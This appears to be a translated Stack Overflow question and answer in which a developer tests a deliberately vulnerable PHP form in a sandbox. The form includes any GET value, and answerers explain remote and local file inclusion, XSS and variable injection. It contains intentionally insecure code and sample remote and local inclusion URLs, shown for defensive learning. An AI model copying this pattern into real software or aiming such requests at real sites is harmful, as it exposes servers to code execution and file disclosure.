2012-09-28 50 views
1

我已經設置了一個沙盒並嘗試運行漏洞,這樣我可以更好地理解如何更好地防禦它們。當我運行以下程序時,程序失敗,因爲它應該和正確的原因。但是我不確定,因爲我找不到很多「如何寫出正確的漏洞」。這裏是我的代碼,以下是失敗的消息。任何指導都會很棒。捍衛漏洞利用

//unform.php (unprotected form) 
<html> 
<head> 
<title>Try An Exploit</title> 
<?php 
if (!empty($_GET)){ 
    foreach($_GET as $key=>$value){ 
    ${$key} = $value; 
    } 
} 

//no sanitizer here. 
echo $key; 
include($value); 
?> 
</head> 
<body> 
<h1>This Is Bad</h1> 

<form action="#" method="get"> 
<select name="COLOR"> 
     <option value="red">red</option> 
     <option value="blue">blue</option> 
    </select> 
<input type="submit" value="Kick Me" /> 
</form> 
</body> 

開拓腳本,簡單的東西:

exploit.php 
<?php 
    $somevar = "This is just a string"; 
    echo $somevar; 
?> 

壞人會硬編碼在瀏覽器地址欄中輸入以下內容:

http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php 

嘗試加載地址時,輸出到瀏覽器:

Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0 

它是這樣嗎?還是有其他技術我應該尋找?
謝謝

+2

你想做什麼?如果你想寫一個帶有安全漏洞的腳本,那麼即使你不積極嘗試這樣做,也很容易做到。如果你的問題是「PHP中是否存在其他漏洞利用」,那麼問題就太廣泛了。 – NullUserException

+1

只有一種技術。驗證* ALL *輸入,不要相信任何變量,因爲你永遠不知道攻擊來自哪裏。 – Tchoupi

+0

好吧,但我需要尋找的是什麼?我阻止了50%的漏洞嗎?其他人(如果有的話)是什麼? – rwhite35

回答

3

它看起來像是所討論的漏洞是執行任意腳本。由於一些php.ini設置的原因,該腳本不易受遠程腳本的任意執行的影響 - 但它容易受到任意執行本地腳本的影響。

遠程腳本

默認情況下,allow_url_include php.ini指令設置爲0的任意處決 - 阻止你,包括遠程文件,就像這樣:

include("http://www.remoteserv.com/exploit.php"); 

...或同等像這樣:

$myVar = "http://www.remoteserv.com/exploit.php"; 
include($myVar); 

Runtime Configurations - Filesystem and Streams Configuration OptionsUsing remote scripts上php.net獲取更多信息。

從技術上講,您仍然容易受到攻擊,因爲用戶可以提供導致錯誤的輸入 - 實際上您應該清理該輸入 - 但是您不容易受到遠程腳本的任意執行的影響。本地腳本

但php.ini指令,沒有保護你的本地腳本執行的

任意處決。攻擊者可以使用一個URL,如...

http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php 

...該文件將被包括在內。它可能是一個非PHP文件(導致錯誤),或者它可能是攻擊者在您的服務器上放置的文件 - 可以通過文件上傳或通過Shared Hosting Environment

如需進一步閱讀,chapter 5 of the book Essential PHP Security完全專注於include的安全性。

其他

您是容易XSS

echo $key; 

當輸出$key - 這是輸入 - 你應該編碼以某種方式輸出,可能使用htmlentities(...)

您還操縱利用使用輸入變量:

${$key} = $value; 

...這是一個壞主意。

+0

感謝您的回答,XSS看起來像下一站。 – rwhite35

+2

你的答案只適用於遠程文件包含;仍然存在Local-File-Inclusion的脆弱性。本地文件可以被讀入並用include()輸出;要執行任意代碼,攻擊者可以訪問http://site.com/ newfurniturey

+0

@newfurniturey - 這是一個很好的觀點。我應該編輯我的答案來達到這個效果嗎?還是你想把它作爲一個單獨的答案發布? –